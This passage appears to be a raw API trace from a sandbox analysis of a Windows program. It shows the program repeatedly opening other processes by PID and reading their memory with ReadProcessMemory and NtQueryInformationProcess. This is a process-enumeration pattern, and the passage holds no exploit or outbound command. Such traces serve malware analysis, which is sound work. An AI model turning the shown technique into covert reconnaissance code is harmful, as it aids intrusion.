lpBuffer=0x2dc24fc2d0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0250.367] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0250.368] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0250.368] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x264020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0250.368] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0250.368] malloc (_Size=0x58) returned 0x20abc2aa570 [0250.369] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x511948, lpBuffer=0x20abc2aa570, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa570*, lpNumberOfBytesRead=0x0) returned 1 [0250.369] free (_Block=0x20abc2aa570) [0250.370] CloseHandle (hObject=0x170) returned 1 [0250.370] _ui64tow_s (in: _Value=0x1070, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4208") returned 0x0 [0250.620] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4208") returned 4 [0250.621] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0250.621] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0250.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1070) returned 0x170 [0250.636] GetLastError () returned 0x0 [0250.637] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0250.637] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x48d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0250.638] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0250.638] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2a1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0250.638] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0250.639] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0250.640] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0250.640] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x48d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0250.640] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0250.641] malloc (_Size=0x6a) returned 0x20abc2831b0 [0250.641] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2a195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0250.641] free (_Block=0x20abc2831b0) [0250.642] CloseHandle (hObject=0x170) returned 1 [0250.645] _ui64tow_s (in: _Value=0x1080, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0250.648] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4224") returned 4 [0250.649] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0250.649] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0250.847] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x170 [0250.847] GetLastError () returned 0x0 [0250.849] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0250.850] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2b9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0250.850] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0250.850] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1d1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0250.850] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0250.852] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0250.855] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0250.855] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2b9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0250.856] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0250.856] malloc (_Size=0x76) returned 0x20abc282120 [0250.856] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1d1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0250.857] free (_Block=0x20abc282120) [0250.857] CloseHandle (hObject=0x170) returned 1 [0250.999] _ui64tow_s (in: _Value=0x1088, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0251.008] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4232") returned 4 [0251.011] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.011] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.029] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x170 [0251.030] GetLastError () returned 0x0 [0251.031] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.031] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x258018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.031] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.031] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x451cb0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.032] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.033] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.201] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.201] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x258020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.201] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.202] malloc (_Size=0x5e) returned 0x20abc2801b0 [0251.202] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x45194e, lpBuffer=0x20abc2801b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0251.203] free (_Block=0x20abc2801b0) [0251.204] CloseHandle (hObject=0x170) returned 1 [0251.204] _ui64tow_s (in: _Value=0x1094, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4244") returned 0x0 [0251.208] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4244") returned 4 [0251.209] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.209] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.222] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1094) returned 0x170 [0251.222] GetLastError () returned 0x0 [0251.223] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.223] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x58b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.223] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.223] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.224] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.225] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.226] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.226] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x58b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.226] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.226] malloc (_Size=0x64) returned 0x20abc2807d0 [0251.226] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x1e1954, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.227] free (_Block=0x20abc2807d0) [0251.228] CloseHandle (hObject=0x170) returned 1 [0251.228] _ui64tow_s (in: _Value=0x10a4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4260") returned 0x0 [0251.232] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4260") returned 4 [0251.233] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.233] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.397] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10a4) returned 0x170 [0251.397] GetLastError () returned 0x0 [0251.398] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.399] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x393018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.399] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.399] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x561d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.399] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5618f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.401] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.402] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.402] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x393020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.403] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x5612e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.403] malloc (_Size=0x76) returned 0x20abc282120 [0251.403] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x561966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0251.404] free (_Block=0x20abc282120) [0251.405] CloseHandle (hObject=0x170) returned 1 [0251.406] _ui64tow_s (in: _Value=0x10ac, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4268") returned 0x0 [0251.410] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4268") returned 4 [0251.411] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.411] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.615] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ac) returned 0x170 [0251.616] GetLastError () returned 0x0 [0251.616] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.616] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2cd018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.616] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.616] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x481c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.617] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4818f8, lpBuffer=0x2dc24fc2d0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.618] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.619] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.619] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x2cd020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.619] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4812e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.619] malloc (_Size=0x46) returned 0x20abc27cb20 [0251.619] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x481936, lpBuffer=0x20abc27cb20, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0251.620] free (_Block=0x20abc27cb20) [0251.621] CloseHandle (hObject=0x170) returned 1 [0251.621] _ui64tow_s (in: _Value=0x10b8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4280") returned 0x0 [0251.625] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4280") returned 4 [0251.626] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.626] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b8) returned 0x170 [0251.640] GetLastError () returned 0x0 [0251.641] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0251.641] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x348018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0251.641] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0251.641] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x421ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0251.641] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4218f8, lpBuffer=0x2dc24fc2d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0251.642] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0251.644] NtQueryInformationProcess (in: ProcessHandle=0x170, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0251.644] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x348020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0251.644] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x4212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0251.644] malloc (_Size=0x6c) returned 0x20abc2831b0 [0251.644] ReadProcessMemory (in: hProcess=0x170, lpBaseAddress=0x42195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0251.645] free (_Block=0x20abc2831b0) [0251.646] CloseHandle (hObject=0x170) returned 1 [0251.646] _ui64tow_s (in: _Value=0x10c8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4296") returned 0x0 [0251.650] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4296") returned 4 [0251.650] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.650] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0251.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c8) returned 0x170 [0251.826] GetLastError () returned 0x0 [0251.827] NtQueryInformationProcess (in: 